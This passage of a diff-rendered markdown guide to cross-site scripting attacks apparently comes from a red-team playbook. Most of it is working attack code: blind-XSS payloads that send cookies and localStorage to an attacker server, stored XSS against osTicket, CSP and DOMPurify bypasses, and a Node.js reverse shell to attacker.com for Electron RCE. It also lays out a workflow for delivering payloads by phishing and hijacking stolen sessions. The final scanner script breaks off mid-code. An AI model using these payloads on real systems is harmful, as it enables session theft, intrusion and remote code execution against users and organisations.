|
|
275
|
+
|
|
276
|
+
# Install dependencies
|
|
277
|
+
npm install
|
|
278
|
+
|
|
279
|
+
# Set up with nginx + certbot for HTTPS
|
|
280
|
+
sudo apt install nginx certbot python3-certbot-nginx -y
|
|
281
|
+
sudo certbot --nginx -d xss.yourdomain.com
|
|
282
|
+
|
|
283
|
+
# Run XSS Hunter
|
|
284
|
+
node app.js &
|
|
285
|
+
|
|
286
|
+
# Your probe URL: https://xss.yourdomain.com/probe
|
|
287
|
+
```
|
|
288
|
+
|
|
289
|
+
**XSS Hunter payload (inject this anywhere):**
|
|
290
|
+
|
|
291
|
+
```html
|
|
292
|
+
<!-- Standard XSS Hunter payload -->
|
|
293
|
+
<script src="https://xss.yourdomain.com/payload.js"></script>
|
|
294
|
+
|
|
295
|
+
<!-- Shorter version for attribute contexts -->
|
|
296
|
+
"><script src=//xss.yourdomain.com/x.js></script>
|
|
297
|
+
|
|
298
|
+
<!-- Event handler version -->
|
|
299
|
+
<img src=x onerror="var s=document.createElement('script');s.src='//xss.yourdomain.com/x.js';document.body.appendChild(s)">
|
|
300
|
+
|
|
301
|
+
<!-- No-script version using CSS import -->
|
|
302
|
+
<link rel=stylesheet href="//xss.yourdomain.com/css">
|
|
303
|
+
```
|
|
304
|
+
|
|
305
|
+
#### Stored XSS in osTicket
|
|
306
|
+
|
|
307
|
+
osTicket is commonly deployed in corporate IT helpdesk environments. Ticket subjects, bodies, and custom fields are common injection points.
|
|
308
|
+
|
|
309
|
+
```bash
|
|
310
|
+
# Enumerate osTicket installation
|
|
311
|
+
curl -s "https://helpdesk.target.com/" | grep -i "osTicket\|Powered by"
|
|
312
|
+
|
|
313
|
+
# Common vulnerable versions: osTicket < 1.17.2
|
|
314
|
+
# CVE-2021-35587, multiple stored XSS in ticket fields
|
|
315
|
+
```
|
|
316
|
+
|
|
317
|
+
**osTicket attack workflow:**
|
|
318
|
+
|
|
319
|
+
```bash
|
|
320
|
+
# Step 1: Create a ticket via API or web form
|
|
321
|
+
curl -X POST "https://helpdesk.target.com/api/tickets.json" \
|
|
322
|
+
-H "X-API-Key: YOUR_API_KEY" \
|
|
323
|
+
-H "Content-Type: application/json" \
|
|
324
|
+
-d '{
|
|
325
|
+
"alert": true,
|
|
326
|
+
"autorespond": true,
|
|
327
|
+
"source": "API",
|
|
328
|
+
"name": "Test User",
|
|
329
|
+
"email": "test@test.com",
|
|
330
|
+
"subject": "Normal Subject",
|
|
331
|
+
"message": "data:text/html,<script src=//xss.yourdomain.com/x.js></script>"
|
|
332
|
+
}'
|
|
333
|
+
|
|
334
|
+
# Step 2: Inject via ticket reply (authenticated)
|
|
335
|
+
curl -X POST "https://helpdesk.target.com/tickets.php?id=1" \
|
|
336
|
+
-H "Cookie: PHPSESSID=yoursession" \
|
|
337
|
+
--data-urlencode "reply=<img src=x onerror=\"var s=document.createElement('script');s.src='//xss.yourdomain.com/x.js';document.body.appendChild(s)\">"
|
|
338
|
+
```
|
|
339
|
+
|
|
340
|
+
**osTicket injection points to test:**
|
|
341
|
+
|
|
342
|
+
```
|
|
343
|
+
- Ticket subject line
|
|
344
|
+
- Ticket message body (HTML allowed in some configs)
|
|
345
|
+
- Custom field values (department-specific fields)
|
|
346
|
+
- Attachment filename
|
|
347
|
+
- User name field
|
|
348
|
+
- Organization name field
|
|
349
|
+
- Internal notes (staff-only, high-value blind XSS)
|
|
350
|
+
- Canned response subject
|
|
351
|
+
```
|
|
352
|
+
|
|
353
|
+
**Payload for internal staff notes (blind XSS high-value):**
|
|
354
|
+
|
|
355
|
+
```html
|
|
356
|
+
<!-- This fires when a support agent views the ticket -->
|
|
357
|
+
<img src=x onerror="
|
|
358
|
+
fetch('https://xss.yourdomain.com/collect', {
|
|
359
|
+
method: 'POST',
|
|
360
|
+
body: JSON.stringify({
|
|
361
|
+
cookies: document.cookie,
|
|
362
|
+
url: window.location.href,
|
|
363
|
+
localStorage: JSON.stringify(localStorage),
|
|
364
|
+
sessionStorage: JSON.stringify(sessionStorage),
|
|
365
|
+
title: document.title
|
|
366
|
+
}),
|
|
367
|
+
headers: {'Content-Type': 'application/json'}
|
|
368
|
+
});
|
|
369
|
+
">
|
|
370
|
+
```
|
|
371
|
+
|
|
372
|
+
#### CSP Bypass Techniques
|
|
373
|
+
|
|
374
|
+
**Step 1: Identify and parse the CSP:**
|
|
375
|
+
|
|
376
|
+
```bash
|
|
377
|
+
# Retrieve CSP header
|
|
378
|
+
curl -sI "https://target.com" | grep -i "content-security-policy"
|
|
379
|
+
|
|
380
|
+
# Analyze CSP with Google's CSP Evaluator API
|
|
381
|
+
curl -s "https://csp-evaluator.withgoogle.com/getCSPEvaluation" \
|
|
382
|
+
-H "Content-Type: application/json" \
|
|
383
|
+
-d '{"csp": "script-src '"'"'self'"'"' https://cdn.example.com; object-src '"'"'none'"'"'"}'
|
|
384
|
+
```
|
|
385
|
+
|
|
386
|
+
**CSP Bypass — JSONP Endpoints:**
|
|
387
|
+
|
|
388
|
+
```bash
|
|
389
|
+
# Find JSONP endpoints on whitelisted domains
|
|
390
|
+
# If CSP allows https://apis.google.com
|
|
391
|
+
# JSONP endpoint: https://accounts.google.com/o/oauth2/revoke?token=1&callback=alert(1)
|
|
392
|
+
|
|
393
|
+
# If CSP allows https://ajax.googleapis.com
|
|
394
|
+
# <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.min.js"></script>
|
|
395
|
+
# Then use AngularJS template injection: {{constructor.constructor('alert(1)')()}}
|
|
396
|
+
```
|
|
397
|
+
|
|
398
|
+
**CSP Bypass — AngularJS (script-src allows Angular CDN):**
|
|
399
|
+
|
|
400
|
+
```html
|
|
401
|
+
<!-- Works when angular.js is whitelisted in CSP -->
|
|
402
|
+
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
|
|
403
|
+
{{constructor.constructor('alert(document.cookie)')()}}
|
|
404
|
+
|
|
405
|
+
<!-- AngularJS sandbox escape (1.x) -->
|
|
406
|
+
{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
|
|
407
|
+
```
|
|
408
|
+
|
|
409
|
+
**CSP Bypass — Nonce/Hash Prediction:**
|
|
410
|
+
|
|
411
|
+
```bash
|
|
412
|
+
# Check if nonce is static (reused across requests)
|
|
413
|
+
for i in {1..5}; do
|
|
414
|
+
curl -sI "https://target.com/" | grep "nonce-"
|
|
415
|
+
done
|
|
416
|
+
# If nonce is the same each request — you can hardcode it in your payload
|
|
417
|
+
```
|
|
418
|
+
|
|
419
|
+
**CSP Bypass — script-src 'unsafe-inline' with nonce (steal nonce):**
|
|
420
|
+
|
|
421
|
+
```html
|
|
422
|
+
<!-- If the page uses nonces but also has a DOM XSS sink -->
|
|
423
|
+
<!-- Read the nonce from an existing script tag -->
|
|
424
|
+
<script>
|
|
425
|
+
var nonce = document.querySelector('script[nonce]').nonce;
|
|
426
|
+
var s = document.createElement('script');
|
|
427
|
+
s.nonce = nonce;
|
|
428
|
+
s.textContent = 'alert(document.cookie)';
|
|
429
|
+
document.head.appendChild(s);
|
|
430
|
+
</script>
|
|
431
|
+
```
|
|
432
|
+
|
|
433
|
+
**CSP Bypass — base-uri injection:**
|
|
434
|
+
|
|
435
|
+
```html
|
|
436
|
+
<!-- If base-uri is not set in CSP, inject a base tag -->
|
|
437
|
+
<!-- This makes all relative script sources point to attacker domain -->
|
|
438
|
+
<base href="https://attacker.com/">
|
|
439
|
+
```
|
|
440
|
+
|
|
441
|
+
**CSP Bypass — object-src / data: URIs:**
|
|
442
|
+
|
|
443
|
+
```html
|
|
444
|
+
<!-- If object-src allows data: -->
|
|
445
|
+
<object data="data:text/html,<script>alert(1)</script>"></object>
|
|
446
|
+
<embed src="data:text/html,<script>alert(1)</script>">
|
|
447
|
+
```
|
|
448
|
+
|
|
449
|
+
**CSP Bypass — trusted whitelisted CDNs:**
|
|
450
|
+
|
|
451
|
+
```bash
|
|
452
|
+
# Common bypasses via whitelisted CDNs
|
|
453
|
+
# cloudflare.com/ajax/libs → find JSONP
|
|
454
|
+
# unpkg.com → host malicious package (typosquat)
|
|
455
|
+
# jsdelivr.net → can proxy arbitrary GitHub content
|
|
456
|
+
|
|
457
|
+
# Check: https://github.com/bhattsameer/Bombers for JSONP endpoints
|
|
458
|
+
# Tool: https://github.com/RUB-NDS/CSP-Bypass
|
|
459
|
+
```
|
|
460
|
+
|
|
461
|
+
**CSP Bypass — 'strict-dynamic' with DOM clobbering:**
|
|
462
|
+
|
|
463
|
+
See DOM Clobbering section below.
|
|
464
|
+
|
|
465
|
+
#### Session Hijacking Payload (Full)
|
|
466
|
+
|
|
467
|
+
```javascript
|
|
468
|
+
// Full session hijacking payload
|
|
469
|
+
// Exfiltrates cookies, localStorage, sessionStorage, DOM content, screenshot attempt
|
|
470
|
+
(function() {
|
|
471
|
+
var data = {
|
|
472
|
+
url: window.location.href,
|
|
473
|
+
title: document.title,
|
|
474
|
+
referrer: document.referrer,
|
|
475
|
+
cookies: document.cookie,
|
|
476
|
+
localStorage: (function() {
|
|
477
|
+
var obj = {};
|
|
478
|
+
for (var i = 0; i < localStorage.length; i++) {
|
|
479
|
+
var k = localStorage.key(i);
|
|
480
|
+
obj[k] = localStorage.getItem(k);
|
|
481
|
+
}
|
|
482
|
+
return JSON.stringify(obj);
|
|
483
|
+
})(),
|
|
484
|
+
sessionStorage: (function() {
|
|
485
|
+
var obj = {};
|
|
486
|
+
for (var i = 0; i < sessionStorage.length; i++) {
|
|
487
|
+
var k = sessionStorage.key(i);
|
|
488
|
+
obj[k] = sessionStorage.getItem(k);
|
|
489
|
+
}
|
|
490
|
+
return JSON.stringify(obj);
|
|
491
|
+
})(),
|
|
492
|
+
innerHTML: document.documentElement.innerHTML.substring(0, 5000)
|
|
493
|
+
};
|
|
494
|
+
|
|
495
|
+
// Primary exfil via fetch
|
|
496
|
+
fetch('https://xss.yourdomain.com/collect', {
|
|
497
|
+
method: 'POST',
|
|
498
|
+
mode: 'no-cors',
|
|
499
|
+
body: JSON.stringify(data),
|
|
500
|
+
headers: {'Content-Type': 'application/json'}
|
|
501
|
+
}).catch(function() {
|
|
502
|
+
// Fallback via image beacon
|
|
503
|
+
new Image().src = 'https://xss.yourdomain.com/b?' + encodeURIComponent(JSON.stringify(data)).substring(0, 2000);
|
|
504
|
+
});
|
|
505
|
+
})();
|
|
506
|
+
```
|
|
507
|
+
|
|
508
|
+
---
|
|
509
|
+
|
|
510
|
+
### EXPERT — DOM Clobbering, mXSS, XSS to RCE (Electron), Polyglots
|
|
511
|
+
|
|
512
|
+
At this level you exploit subtle parser behaviors, chain XSS to higher-impact vulnerabilities, and bypass state-of-the-art sanitizers.
|
|
513
|
+
|
|
514
|
+
**Objectives:**
|
|
515
|
+
- Exploit DOMPurify bypasses via mXSS
|
|
516
|
+
- Use DOM clobbering to break application logic
|
|
517
|
+
- Chain XSS to RCE in Electron apps
|
|
518
|
+
- Build polyglot payloads for multi-context injection
|
|
519
|
+
- Automate with custom dalfox payloads and pipeline integration
|
|
520
|
+
|
|
521
|
+
#### mXSS (Mutation XSS)
|
|
522
|
+
|
|
523
|
+
mXSS occurs when sanitized HTML is mutated by the browser's HTML parser into executable XSS. DOMPurify has had several mXSS bypasses.
|
|
524
|
+
|
|
525
|
+
```html
|
|
526
|
+
<!-- mXSS via SVG foreignObject (bypassed DOMPurify < 2.3.3) -->
|
|
527
|
+
<svg><p><style><g title="</style><img src=x onerror=alert(1)>">
|
|
528
|
+
|
|
529
|
+
<!-- mXSS via noscript + AngularJS -->
|
|
530
|
+
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
|
|
531
|
+
|
|
532
|
+
<!-- mXSS via SVG animation (bypassed DOMPurify 2.x) -->
|
|
533
|
+
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
|
|
534
|
+
|
|
535
|
+
<!-- mXSS via table structure mutation -->
|
|
536
|
+
<table><caption><p></p></caption></table>
|
|
537
|
+
<!-- browser mutates to: <table></table><caption><p></p></caption> -->
|
|
538
|
+
<!-- useful when innerHTML assignment causes re-parsing -->
|
|
539
|
+
|
|
540
|
+
<!-- mXSS via math/MathML -->
|
|
541
|
+
<math><mtext></p><img src=1 onerror=alert(1)></mtext></math>
|
|
542
|
+
|
|
543
|
+
<!-- DOMPurify 2.4.0 bypass (CVE-2022-25887) -->
|
|
544
|
+
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'><image href='1' onerror='alert(1)'/></svg>#x">
|
|
545
|
+
```
|
|
546
|
+
|
|
547
|
+
**Testing mXSS with Python:**
|
|
548
|
+
|
|
549
|
+
```python
|
|
550
|
+
#!/usr/bin/env python3
|
|
551
|
+
# test_mxss.py — check if a sanitizer is vulnerable to mXSS
|
|
552
|
+
import subprocess
|
|
553
|
+
import json
|
|
554
|
+
|
|
555
|
+
payloads = [
|
|
556
|
+
"<svg><p><style><g title=\"</style><img src=x onerror=alert(1)>\">",
|
|
557
|
+
"<math><mtext></p><img src=1 onerror=alert(1)></mtext></math>",
|
|
558
|
+
"<svg><animate onbegin=alert(1) attributeName=x dur=1s>",
|
|
559
|
+
"<noscript><p title=\"</noscript><img src=x onerror=alert(1)>\">",
|
|
560
|
+
]
|
|
561
|
+
|
|
562
|
+
for p in payloads:
|
|
563
|
+
print(f"Testing: {p[:80]}...")
|
|
564
|
+
# Use headless browser to test
|
|
565
|
+
# Replace with your testing endpoint
|
|
566
|
+
```
|
|
567
|
+
|
|
568
|
+
#### DOM Clobbering
|
|
569
|
+
|
|
570
|
+
DOM clobbering overwrites global JavaScript variables by injecting HTML elements with `id` or `name` attributes matching those variable names.
|
|
571
|
+
|
|
572
|
+
```html
|
|
573
|
+
<!-- Clobber window.x -->
|
|
574
|
+
<img id=x>
|
|
575
|
+
<!-- window.x is now the img element, not undefined -->
|
|
576
|
+
|
|
577
|
+
<!-- Clobber nested property: window.config.debug -->
|
|
578
|
+
<form id=config><input id=debug value="true"></form>
|
|
579
|
+
<!-- window.config.debug == "true" as a string -->
|
|
580
|
+
|
|
581
|
+
<!-- Clobber document.getElementById override via anchor -->
|
|
582
|
+
<a id=anchor name=anchor href="javascript:alert(1)">
|
|
583
|
+
|
|
584
|
+
<!-- Classic DOM clobbering for XSS chain -->
|
|
585
|
+
<!-- If app does: var url = window.config || '/default'; location = url; -->
|
|
586
|
+
<img id=config src=x name=config>
|
|
587
|
+
<!-- Now window.config is the img element, which is truthy -->
|
|
588
|
+
<!-- location = [object HTMLImageElement] — may trigger navigation -->
|
|
589
|
+
|
|
590
|
+
<!-- Clobber with custom toString -->
|
|
591
|
+
<!-- Not directly possible, but prototype pollution can assist -->
|
|
592
|
+
|
|
593
|
+
<!-- Clobbering DOMPurify's window.document (advanced) -->
|
|
594
|
+
<!-- CVE-2020-26870: bypass via clobbering currentScript.ownerDocument -->
|
|
595
|
+
<svg><use href="#"><linearGradient id=currentScript><stop offset=0 id=ownerDocument></linearGradient></use></svg>
|
|
596
|
+
```
|
|
597
|
+
|
|
598
|
+
**DOM Clobbering to XSS — Full Example:**
|
|
599
|
+
|
|
600
|
+
```html
|
|
601
|
+
<!-- Target code (vulnerable pattern):
|
|
602
|
+
var cfg = window.APP_CONFIG || {};
|
|
603
|
+
var endpoint = cfg.apiEndpoint || '/api';
|
|
604
|
+
document.getElementById('widget').innerHTML = '<script src="' + endpoint + '/widget.js"><\/script>';
|
|
605
|
+
-->
|
|
606
|
+
|
|
607
|
+
<!-- Attack: inject these elements into a stored XSS context -->
|
|
608
|
+
<form id=APP_CONFIG>
|
|
609
|
+
<input id=apiEndpoint value="https://attacker.com/malicious">
|
|
610
|
+
</form>
|
|
611
|
+
<!-- Now APP_CONFIG.apiEndpoint = "https://attacker.com/malicious" -->
|
|
612
|
+
<!-- Script loads from attacker's server -->
|
|
613
|
+
```
|
|
614
|
+
|
|
615
|
+
#### XSS to RCE in Electron Applications
|
|
616
|
+
|
|
617
|
+
Electron apps run Chromium + Node.js. If `nodeIntegration: true` or `contextIsolation: false`, XSS = RCE.
|
|
618
|
+
|
|
619
|
+
```bash
|
|
620
|
+
# Check Electron app for nodeIntegration
|
|
621
|
+
strings target-app.exe | grep -i "nodeIntegration\|contextIsolation\|enableRemoteModule"
|
|
622
|
+
|
|
623
|
+
# Check asar package
|
|
624
|
+
npx asar extract app.asar extracted/
|
|
625
|
+
grep -r "nodeIntegration\|contextIsolation" extracted/
|
|
626
|
+
grep -r "webPreferences" extracted/
|
|
627
|
+
```
|
|
628
|
+
|
|
629
|
+
**XSS to RCE payload (nodeIntegration: true):**
|
|
630
|
+
|
|
631
|
+
```javascript
|
|
632
|
+
// If nodeIntegration is enabled, require() is available in renderer
|
|
633
|
+
// These run as OS-level code
|
|
634
|
+
|
|
635
|
+
// Windows — spawn calc (PoC)
|
|
636
|
+
require('child_process').exec('calc.exe');
|
|
637
|
+
|
|
638
|
+
// Windows — reverse shell
|
|
639
|
+
require('child_process').exec('powershell -e BASE64ENCODEDPAYLOAD');
|
|
640
|
+
|
|
641
|
+
// macOS
|
|
642
|
+
require('child_process').exec('open /Applications/Calculator.app');
|
|
643
|
+
|
|
644
|
+
// Read sensitive files
|
|
645
|
+
var fs = require('fs');
|
|
646
|
+
var data = fs.readFileSync('/etc/passwd', 'utf8');
|
|
647
|
+
fetch('https://xss.yourdomain.com/exfil?d=' + encodeURIComponent(data));
|
|
648
|
+
|
|
649
|
+
// Enumerate home directory
|
|
650
|
+
var fs = require('fs');
|
|
651
|
+
var files = fs.readdirSync(require('os').homedir());
|
|
652
|
+
fetch('https://xss.yourdomain.com/exfil?files=' + encodeURIComponent(JSON.stringify(files)));
|
|
653
|
+
|
|
654
|
+
// Full reverse shell via Node.js
|
|
655
|
+
(function(){
|
|
656
|
+
var net = require('net');
|
|
657
|
+
var cp = require('child_process');
|
|
658
|
+
var sh = cp.spawn('/bin/sh', []);
|
|
659
|
+
var client = new net.Socket();
|
|
660
|
+
client.connect(4444, 'attacker.com', function(){
|
|
661
|
+
client.pipe(sh.stdin);
|
|
662
|
+
sh.stdout.pipe(client);
|
|
663
|
+
sh.stderr.pipe(client);
|
|
664
|
+
});
|
|
665
|
+
return /a/;
|
|
666
|
+
})();
|
|
667
|
+
```
|
|
668
|
+
|
|
669
|
+
**XSS via contextIsolation bypass (Electron < 12):**
|
|
670
|
+
|
|
671
|
+
```javascript
|
|
672
|
+
// If contextIsolation is false but nodeIntegration is false
|
|
673
|
+
// Use window.top or frame escape
|
|
674
|
+
window.top.require('child_process').exec('id');
|
|
675
|
+
|
|
676
|
+
// Via prototype pollution
|
|
677
|
+
Object.prototype.shell = 'calc.exe';
|
|
678
|
+
```
|
|
679
|
+
|
|
680
|
+
#### Polyglot XSS Payloads
|
|
681
|
+
|
|
682
|
+
Polyglots work across multiple injection contexts simultaneously.
|
|
683
|
+
|
|
684
|
+
```html
|
|
685
|
+
<!-- Context: HTML, attribute, JS string, URL -->
|
|
686
|
+
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('THM') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('THM')//>\x3e
|
|
687
|
+
|
|
688
|
+
<!-- Universal polyglot (Gareth Heyes) -->
|
|
689
|
+
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
|
|
690
|
+
|
|
691
|
+
<!-- Short polyglot -->
|
|
692
|
+
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><Script>prompt(1)</Script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm(1)"/alt="/"src="/"onerror=eval(id)>'">
|
|
693
|
+
|
|
694
|
+
<!-- For JSON context -->
|
|
695
|
+
<script>alert(1)</script>
|
|
696
|
+
```
|
|
697
|
+
|
|
698
|
+
---
|
|
699
|
+
|
|
700
|
+
## 3. Step-by-Step Attack Workflow
|
|
701
|
+
|
|
702
|
+
### Phase 1: Reconnaissance
|
|
703
|
+
|
|
704
|
+
```bash
|
|
705
|
+
# Step 1: Collect all URLs with parameters
|
|
706
|
+
gau target.com 2>/dev/null | grep "=" | sort -u > urls_with_params.txt
|
|
707
|
+
waybackurls target.com 2>/dev/null | grep "=" | sort -u >> urls_with_params.txt
|
|
708
|
+
cat urls_with_params.txt | sort -u > all_param_urls.txt
|
|
709
|
+
|
|
710
|
+
# Step 2: Identify JavaScript files for DOM XSS sinks
|
|
711
|
+
gau target.com | grep "\.js$" | sort -u > js_files.txt
|
|
712
|
+
|
|
713
|
+
# Step 3: Download and analyze JS files for sinks
|
|
714
|
+
while read url; do
|
|
715
|
+
curl -s "$url" | grep -E "innerHTML|outerHTML|document\.write|eval\(|setTimeout\(|setInterval\(|location\." >> sinks_found.txt
|
|
716
|
+
done < js_files.txt
|
|
717
|
+
|
|
718
|
+
# Step 4: Identify forms and input fields
|
|
719
|
+
curl -s "https://target.com" | grep -oP '(?i)<(input|textarea|select)[^>]*name="[^"]*"' | sort -u
|
|
720
|
+
|
|
721
|
+
# Step 5: Check HTTP security headers (look for missing/weak CSP)
|
|
722
|
+
curl -sI "https://target.com" | grep -iE "Content-Security-Policy|X-XSS-Protection|X-Frame-Options"
|
|
723
|
+
```
|
|
724
|
+
|
|
725
|
+
### Phase 2: Automated Scanning
|
|
726
|
+
|
|
727
|
+
```bash
|
|
728
|
+
# Step 6: Run dalfox against parameter URLs
|
|
729
|
+
cat all_param_urls.txt | dalfox pipe \
|
|
730
|
+
--header "Cookie: session=YOURSESSION" \
|
|
731
|
+
--blind "https://xss.yourdomain.com/probe" \
|
|
732
|
+
--output xss_findings.json \
|
|
733
|
+
--format json \
|
|
734
|
+
--worker 10 \
|
|
735
|
+
--timeout 15
|
|
736
|
+
|
|
737
|
+
# Step 7: Run dalfox against specific high-value endpoints
|
|
738
|
+
dalfox url "https://target.com/search?q=test&page=1" \
|
|
739
|
+
--header "Cookie: session=YOURSESSION" \
|
|
740
|
+
--blind "https://xss.yourdomain.com/probe" \
|
|
741
|
+
--mining-dict \
|
|
742
|
+
--mining-dom
|
|
743
|
+
|
|
744
|
+
# Step 8: Test POST parameters via Burp request file
|
|
745
|
+
# (save request from Burp Repeater as req.txt)
|
|
746
|
+
dalfox file req.txt \
|
|
747
|
+
--proxy http://127.0.0.1:8080
|
|
748
|
+
|
|
749
|
+
# Step 9: DOM-specific scan
|
|
750
|
+
dalfox url "https://target.com/page" \
|
|
751
|
+
--only-discovery \
|
|
752
|
+
--mining-dom
|
|
753
|
+
```
|
|
754
|
+
|
|
755
|
+
### Phase 3: Manual Verification and Context Analysis
|
|
756
|
+
|
|
757
|
+
```bash
|
|
758
|
+
# Step 10: For each finding, determine context
|
|
759
|
+
# Open URL in browser with devtools
|
|
760
|
+
# View source to see exact reflection point
|
|
761
|
+
# Determine: HTML / attribute / JS / URL context
|
|
762
|
+
|
|
763
|
+
# Step 11: Verify with benign alert payload
|
|
764
|
+
# Replace FINDING with confirmed XSS URL
|
|
765
|
+
curl -s "FINDING_URL" | grep -i "alert\|onerror\|onload"
|
|
766
|
+
|
|
767
|
+
# Step 12: Test if HttpOnly flag prevents cookie theft
|
|
768
|
+
curl -sI "https://target.com/login" | grep -i "Set-Cookie"
|
|
769
|
+
# If HttpOnly is set, pivot to: session fixation, CSRF, or credential harvesting
|
|
770
|
+
```
|
|
771
|
+
|
|
772
|
+
### Phase 4: Exploitation
|
|
773
|
+
|
|
774
|
+
```bash
|
|
775
|
+
# Step 13: Set up cookie exfil server on VPS
|
|
776
|
+
python3 cookie_server.py &
|
|
777
|
+
|
|
778
|
+
# Step 14: Craft targeted payload based on context
|
|
779
|
+
# (see payload library below)
|
|
780
|
+
|
|
781
|
+
# Step 15: For stored XSS — inject via normal application flow
|
|
782
|
+
# (form submission, API call, ticket creation)
|
|
783
|
+
|
|
784
|
+
# Step 16: For reflected XSS — craft delivery URL
|
|
785
|
+
python3 -c "
|
|
786
|
+
import urllib.parse
|
|
787
|
+
payload = '<script>new Image().src=\"http://1.2.3.4:8888/?c=\"+encodeURIComponent(document.cookie)</script>'
|
|
788
|
+
base_url = 'https://target.com/search?q='
|
|
789
|
+
print(base_url + urllib.parse.quote(payload))
|
|
790
|
+
"
|
|
791
|
+
|
|
792
|
+
# Step 17: Deliver URL to target (phishing, QR code, shortened URL)
|
|
793
|
+
|
|
794
|
+
# Step 18: Monitor cookie server for incoming requests
|
|
795
|
+
tail -f stolen_cookies.log
|
|
796
|
+
```
|
|
797
|
+
|
|
798
|
+
### Phase 5: Post-Exploitation
|
|
799
|
+
|
|
800
|
+
```bash
|
|
801
|
+
# Step 19: Import stolen session cookie into browser
|
|
802
|
+
# Use EditThisCookie or Cookie-Editor extension
|
|
803
|
+
# Navigate to target and verify access
|
|
804
|
+
|
|
805
|
+
# Step 20: Enumerate accessible functionality as victim
|
|
806
|
+
# Screenshot admin panels, sensitive data
|
|
807
|
+
|
|
808
|
+
# Step 21: For Electron targets — verify RCE
|
|
809
|
+
# Inject Node.js payload, listen for callback
|
|
810
|
+
|
|
811
|
+
# Step 22: Document all findings for report
|
|
812
|
+
```
|
|
813
|
+
|
|
814
|
+
---
|
|
815
|
+
|
|
816
|
+
## 4. Specific Terminal Commands
|
|
817
|
+
|
|
818
|
+
### Environment Setup
|
|
819
|
+
|
|
820
|
+
```bash
|
|
821
|
+
# Set up attack environment
|
|
822
|
+
export TARGET="https://target.com"
|
|
823
|
+
export VPS_IP="1.2.3.4"
|
|
824
|
+
export XSS_HUNTER="https://xss.yourdomain.com"
|
|
825
|
+
export SESSION="your_session_cookie_value"
|
|
826
|
+
|
|
827
|
+
# Create working directory
|
|
828
|
+
mkdir -p ~/rtops/xss/{payloads,results,screenshots,evidence}
|
|
829
|
+
cd ~/rtops/xss
|
|
830
|
+
|
|
831
|
+
# Install required tools
|
|
832
|
+
go install github.com/hahwul/dalfox/v2@latest
|
|
833
|
+
go install github.com/lc/gau/v2/cmd/gau@latest
|
|
834
|
+
go install github.com/tomnomnom/waybackurls@latest
|
|
835
|
+
pip3 install requests beautifulsoup4
|
|
836
|
+
```
|
|
837
|
+
|
|
838
|
+
### URL Collection
|
|
839
|
+
|
|
840
|
+
```bash
|
|
841
|
+
# Comprehensive URL collection
|
|
842
|
+
gau --subs $TARGET | tee gau_urls.txt
|
|
843
|
+
waybackurls $TARGET | tee wayback_urls.txt
|
|
844
|
+
cat gau_urls.txt wayback_urls.txt | sort -u | grep "=" > param_urls.txt
|
|
845
|
+
wc -l param_urls.txt
|
|
846
|
+
|
|
847
|
+
# Filter for specific param types (high XSS probability)
|
|
848
|
+
grep -E "\?(q|search|query|s|keyword|term|name|title|msg|message|text|content|data|value|input|output|redirect|url|next|return|ref|page|id|cat|tag)=" param_urls.txt > high_value_params.txt
|
|
849
|
+
```
|
|
850
|
+
|
|
851
|
+
### dalfox Pipeline
|
|
852
|
+
|
|
853
|
+
```bash
|
|
854
|
+
# Full automated pipeline
|
|
855
|
+
cat high_value_params.txt | \
|
|
856
|
+
dalfox pipe \
|
|
857
|
+
--header "Cookie: session=$SESSION" \
|
|
858
|
+
--blind "$XSS_HUNTER/probe" \
|
|
859
|
+
--worker 20 \
|
|
860
|
+
--timeout 10 \
|
|
861
|
+
--output results/dalfox_$(date +%Y%m%d_%H%M).json \
|
|
862
|
+
--format json \
|
|
863
|
+
--no-spinner \
|
|
864
|
+
2>&1 | tee results/dalfox_run.log
|
|
865
|
+
|
|
866
|
+
# Count findings
|
|
867
|
+
jq '.[] | select(.type == "G" or .type == "R")' results/dalfox_*.json | wc -l
|
|
868
|
+
|
|
869
|
+
# Extract confirmed XSS URLs
|
|
870
|
+
jq -r '.[] | select(.type == "G") | .param + " => " + .data' results/dalfox_*.json
|
|
871
|
+
```
|
|
872
|
+
|
|
873
|
+
### Custom Python Scanner
|
|
874
|
+
|
|
875
|
+
```python
|
|
876
|
+
#!/usr/bin/env python3
|
|
877
|
+
# xss_probe.py — lightweight reflected XSS scanner
|
|
878
|
+
import requests
|
|
879
|
+
import sys
|
|
880
|
+
from urllib.parse import urlparse, parse_qs, urlencode, urlunparse
|
|
881
|
+
from concurrent.futures import ThreadPoolExecutor
|
|
882
|
+
|
|
883
|
+
CANARY = "xss1337CANARY"
|
|
884
|
+
PAYLOADS = [
|
|
885
|
+
f'<script>alert("{CANARY}")</script>',
|
|
886
|
+
f'"><script>alert("{CANARY}")</script>',
|
|
887
|
+
f"'><img src=x onerror=alert('{CANARY}')>",
|
|
888
|
+
f'javascript:alert("{CANARY}")',
|
|
889
|
+
]
|
|
890
|
+
HEADERS = {"User-Agent": "Mozilla/5.0", "Cookie": "session=YOUR_SESSION"}
|
|
891
|
+
TIMEOUT = 10
|
|
892
|
+
|
|
893
|
+
def test_url(url):
|
|
894
|
+
parsed = urlparse(url)
|
|
895
|
+
params = parse_qs(parsed.query, keep_blank_values=True)
|
|
896
|
+
if not params:
|
|
897
|
+
return
|
|
898
|
+
for param in params:
|
|
899
|
+
for payload in PAYLOADS:
|
|
900
|
+
test_params = dict(params)
|
|
901
|
+
test_params[param] = [payload]
|
|
902
|
+
new_query = urlencode(test_params, doseq=True)
|
|
903
|
+
test_url_str = urlunparse(parsed._replace(query=new_query))
|
|
904
|
+
try:
|
|
905
|
+
r = requests.get(test_url_str, headers=HEADERS, timeout=TIMEOUT, verify=False)
|
|
906
|
+
if CANARY in r.text:
|
|
907
|
+
print(f"[+] REFLECTED: {param} => {test_url_str}")
|
|
908
|
+
break
|
|
909
|
